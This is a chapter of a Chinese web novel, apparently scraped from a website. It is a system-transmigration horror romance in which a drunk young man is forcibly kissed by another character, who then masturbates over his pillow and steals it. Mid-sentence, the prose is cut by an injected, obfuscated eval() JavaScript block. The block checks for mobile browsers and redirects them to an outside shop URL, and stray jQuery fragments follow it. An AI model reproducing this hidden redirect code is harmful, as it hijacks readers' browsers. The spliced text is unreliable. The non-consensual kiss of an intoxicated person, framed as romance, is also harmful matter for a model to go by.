“我要回…去…”
江迹星微微垂下眼,又抬起眼,眼底是模糊不清的水光,看人时像带着钩子。语调粘腻模糊,不像是抱怨,倒像是在撒娇。
他眉心微结,手指无意识地绞紧了衬衫衣摆。酒液在他胸前晕开一片,短裤也未能幸免,液体顺着粉白的腿肤滑落,最终淌入并拢的腿□□隙之中。
周围的呼吸声好像更加粗重了。
“FU*K!有完没完啊!”
最先出声的是乔辽。
眼前刚刚一直在灌酒的人被他推开,江迹星迷迷糊糊地望过去,只感觉旁边的沙发陷下去一大片,乔辽侧身坐了过来,眉心蹙的比江迹星还深。
他扯了扯嘴角,阴沉着脸。
“灌这么多,给他灌吐了怎么办?”
“你以什么身份说这种话?”,时延扶了扶被推乱的眼镜,“我自然会把他收拾干净,不劳你费心了。”他十分平静地道。
“哦!乔!你要是心疼的话,刚刚怎么不拦着,现在又装什么?别以为我们不知道你的龌蹉想法。”理查趁机添火道。
【这又是什么该死的修罗场啊?】
【0个人在意他们的争风吃醋,没看见星星很难受吗?赶快把他送回房间去啊!】
【呜呜,妈妈心疼这个星星,我要判那个时延无妻徒刑,灌这么多!!!】
江迹星喝太多了,根本就听不清时延他们说话,还挣着双无辜的大眼睛,又乖又笨地盯着时延他们看,迟钝到完全没有发现导致这一切的罪魁祸首就在他们之中。
【星星。】
熟悉而又冰冷的声音,勉强让迷迷糊糊中的江迹星找回那仅存的一丝理智。
【哥哥…】
【回房间清洗,小心点。】
他乖乖地对着虚空中点了点头,摇摇摆摆地站起了身,听着脑海里系统的指挥,一步三晃地上了楼。
在醉意与窒闷空气的双重作用下,江迹星此刻的意识混沌不清,对身后什么时候坠了一个人都毫无知觉。
直到他在房门口被人拦腰抱住。
江迹星:…?
他微微睁眼,迷蒙地望着抱着他的男人,唇色被酒浸得嫣红。
腰真细,好像一折就会断,乔辽低垂着眼眸看着怀中的江迹星。
唇瓣泛着清透的水光,笼着一股甜甜的酒香,悠悠地传入他的鼻尖。
目眩神迷,头晕脑胀,他好像也醉了一般,脑海里一直紧绷着的一根弦顷刻间就断掉了。
“星星。”咽下一口口水,喉咙耸动,着了迷般,乔辽捏着江迹星的下巴,低头在他水润的唇肉上开亲,“乖乖…”
“怎么这么乖…”
猝不及防,江迹星酒都醒了一大半,双眼猛地蹬大,下意识就偏头想躲。
乔辽也不在意,只一把托住他黑色的后脑袋,手指穿梭在其中,低头更加凶狠地吻了下去。
乔辽本来只是看江迹星醉酒的样子实在乖巧,才亲下去的,可后来亲着亲着,看着江迹星抗拒的样子,想到今晚他看到的那一幕,怒火中烧,没忍住用了点力。
边亲,他边咬牙道:“今晚你是故意的吧?”
江迹星简直都快要被吓死了,惊魂未定,又听到这句话。
江迹星:…?
“为什么只想着找尼克?他有什么好的?!”
“就在商店里面帮你说了这么一句话,你就一直想着他。”乔辽吸着江迹星的下嘴唇,还把舌头伸进去,嘬他躲避的舌尖,含糊不清地道:“你们还在商店外面约会!”
“那个bitch!一定是他引诱了你!”
乔辽话一出口就没完没了,他刚才可是当事人之一,对江迹星的小动作可谓是清清楚楚,脸都要气绿了。
“你都惩罚我了,还抽我了,为什么不选我?”
“为什么不多看看我?”
“你就是故意的!”乔辽蹙着眉,好像很在意今晚江迹星没选他的事,埋首在他的身上,像吸了什么似的,从背后只能看见江迹星不断挣扎着的小腿。
莫名其妙的话语让江迹星一脑袋问号,他完全没搞明白约会是什么,引诱又是什么,脑海里昏昏沉沉的,只觉得乔辽在说什么外星语。
他如今只想赶快回去洗澡!
“呕…”江迹星假意呕吐了一声,装作难受至极的样子,迷迷糊糊地说道:“我…我要回去洗澡…”
“FU*K!”
乔辽总算是回过神来,看着懵懵懂懂的江迹星,天真又无辜地看着他,嫣红粉嫩又带着肉感的嘴唇被他亲的微微张开。
他忍不住暗骂一声,“这个小醉鬼。”然后气冲冲地打开江迹星的房门,将他抱进去,又任劳任怨地帮他烧好热水。
见江迹星乖巧地坐在床上,什么也不知道的样子,他心一软,声音温柔了些,催促道:“衣服呢?你不是要洗澡吗?”
江迹星仍然迷蒙地看着他,眼里水光莹润。
“FU*K!”不知道这是乔辽今天说的第几个脏字了,他又暗骂了一声,然后还是十分“乖巧”地去帮江迹星寻找衣服去了。
刚搬进来的屋子还没有完全收拾好,江迹星的行李被他自己随意地放到地上,东倒西歪的,凌乱至极。
乔辽翻开行李箱,随便拿了套便装,动作便停住了,他的目光落在行李箱的那个内部隔层上,久久没有移开。
在青春荷尔蒙涌动时期,他也不是没有听过周围的同学们聚在一起,下流地讨论某些成人动作片中女主丰满的身材和那些奇怪的衣物,尤其是那什么白蕾丝…短裤…
但…好像他就是天生不感兴趣般,只浅浅听过一耳,就觉得寡淡无味,转而又投入到他喜爱的极限运动中。
没有人想过这么一个堪称是性/冷淡的男人,会在未来的某一个夜晚,看着一个小男生纯白的内裤,思维发散间不受控制地联想到了小男生藏在短裤底下充满□□感的大腿肉,和那圆润丰满的…屁股。
一瞬间气血上涌,乔辽眼睛都不敢往那内裤上瞟,只胡乱拿过,塞进江迹星几件换洗的衣物中,然后慌乱地扔到江迹星手中。
“衣服给你找好了…”乔辽东瞟瞟西看看,就是不敢看江迹星,“你快点去洗。”
江迹星坐着没动。
过了会后,他才像意识到了什么一样,迟钝地抬起了头,视线艰难地对焦到对方,“乔辽,谢谢你哦。”语调黏黏糊糊的。
然后,慢吞吞地走进了洗浴室里。
“啪嗒—”,门被关上。
门外,乔辽松了口气,缓缓松开了握紧的双拳。
他天生骨骼就比别人长,从小也一直热爱极限运动,所以体脂率一直保持的很低。但他的身材并不是那种肌肉喷薄而出的类型,更属于“穿衣显瘦,脱衣有肉”的体格,手臂微微弯曲,可以看出明显的肌肉线条。
此刻的他,听着浴室里传来的“淅淅沥沥”的水声,脑海里克制不住地想象着江迹星洗澡的画面,小兄弟竟然有了勃发之势。
他向后撩了把头发,叹了口气,低头循循安慰道:“知道,我知道。他太美,太单纯了,对不对?”乔辽调整了一下坐姿,试图让那份紧绷的灼热感稍稍缓解,“光是想到水珠从颈椎一节节往下滑,流进两瓣丰盈的臀肉中,你就忍不住了,对吗?”
漫长的安静后。
是的,他就是忍不住!
乔辽破罐子破摔似的,直接仰躺在江迹星的床上。
这怎么可能忍得住?
他是人,又不是神!
乔辽烦躁地翻了个身,甘而甜的江迹星身上特有的香味瞬间萦绕在他的鼻尖。
他愣了一瞬,慌忙寻找着。
那味道是从枕头上传来的。
乔辽悄悄环顾了一下四周,然后将头缓缓伸进了江迹星睡过的枕头中,像是在干什么坏事一样。
在心里反复为自己开脱道,他只是想仔细嗅闻一下星星身上的味道,并不是变/态,也不想干什么。
他只是…好奇…星星身上的味道。
对,就是这样!
动作间,乔辽又想,星星一直没出声,他只是想喊一下他的名字,确保他的安全,免得他醉倒在浴室里。
这也没错,他为自己辩解道。
清了清嗓子,乔辽缓缓喊道:“星星,你怎么样了?”
浴室里,江迹星已经清醒大半了,澡也已经洗好了,正在穿着衣服。
听到乔辽的声音,他下意识地就应道:“我…我已经洗好了…”他顿了顿,内心有点犹豫,他利用完乔辽就直接把他赶走,是不是有点不太好。
系统冷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483968|201910||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑着看着浴室外的乔辽,这个小子,他打什么注意,它难道还不知道吗?
就想闻着星星的香味,听着星星的声音,干那种事!
它克制地提醒道:【星星,不用理他,让他赶紧走。】
江迹星不知道系统在想什么,他用毛巾仔细擦干净身上的水,一边换上睡衣,一边问道:【哥哥,乔辽怎么了嘛?】
【没有。】
系统顿了下,还是没有告诉江迹星实情,这么单纯可爱,到时候知道了,肯定会很害怕无助的。
思索间,门外又传来乔辽的声音:“星星,星星?”
声音明显变了,低哑而又暗沉。
换好睡衣后,江迹星的手搭在把手上。
“咔哒—”一声,门被推开了。
乔辽弓起腰,闷哼一声,液体瞬间喷薄而出。
他看了眼浴室,拿走江迹星的枕头,蹑手蹑脚地走了。
等江迹星出来以后,屋子里很安静,一切无恙。
不过,等他躺到床上后,才迟迟发现。
他的枕头竟然不见了!O.o
“我记得…我是带了枕头呀?”江迹星皱着张小脸,趴在床上,喃喃自语道。
看了一整场的系统:……
这个该死的乔辽!
……
江迹星换上了崭新的睡衣,轻轻地打了声哈欠,因喝太多酒而疲惫的身体涌上了一阵困意。
但他一直记得今天是他们入住木屋的第一天,杀人狂魔很有可能会出现,所有强撑着睁开眼睛,坐在床边。
现在他一个人在房间里,听着窗外风吹树枝拍打窗户的声音,心里那股被醉意掩盖的不安卷土重来,那个警察的提醒仿佛还在耳边。
江迹星越坐越害怕,闭上眼睛,脑海里便不由自主地胡乱想些个恐怖画面,如血手印突然拍打在窗户上之类的,他没办法,只好去骚扰此时唯一还在他身边的系统。
【呜呜,哥哥你还在吗?】
冷漠的电子音响起,却带给江迹星无限安慰:【我在,别害怕。】
江迹星趴在床上,全部身体都缩进了被子里,只露出半边粉嫩脸蛋:【哥哥,和我聊聊天吧。】
系统沉默半响:【好。聊什么?】
说话间,树枝拍打窗户的声音又大了些。
江迹星一惊,连忙起身检查了一下房门和窗户,确认门窗都没问题,都已经反锁好了,心里的不安才稍稍有些安慰。
他又一次缩进了被子里,揉了揉眼睛:【哥哥,我好像有点困了…】
系统:【你睡吧,我帮你看着。】
“轰隆—”一声惊雷炸响,外面不知什么时候下起了雨,趴在床上的江迹星被吓得一下子从睡梦中惊醒,坐了起来。
【哥哥!】
【在。】
他心下稍定,准备起身拉开窗帘观察一下情况,结果就在他把手搭在窗帘上的一瞬间,动作却猛地僵住,一股冰冷的压力无声地扼住四周。
一个高大的人性轮廓正无声地站在窗外楼下,如同钉在玻璃上的标本。
江迹星心下“砰砰”跳几下,下意识就用手捂住了嘴巴,只留下一双惊恐的眼睛。
那双睁大的眼睛里,倒映着窗外缓缓移动的巨大轮廓。月光与惨白的电光交错一瞬,那东西如人立棕熊,缓慢地抬起了头。
他正在看他!
江迹星屏住呼吸,心脏漏跳了几拍。
怎么办?
这还是人吗?
恍惚间,他好像听到了楼下门被打开的声音,然后是楼梯被碾压的声音。
“咯吱,咯吱—”
那道声音停在了他的隔壁。
过了好久,隔壁传来理查的怒骂声,夹杂着一些不太好听的脏话,随即是“彭!”的一声巨响,门被重重关上。
江迹星缓缓松了口气,第一天,杀人狂魔应该不会出手。
他蹑手蹑脚地爬上了床,盖好被子,脑海里思考着明天应该去那个荒废的木屋看看,然后渐渐沉入了梦乡。
可就在他迷迷糊糊快要入睡的时候,不大不小的敲门声响起。
是从他门外传来的。
敲的是他的门。
“star?星…星…”
他听见门外的人这么说。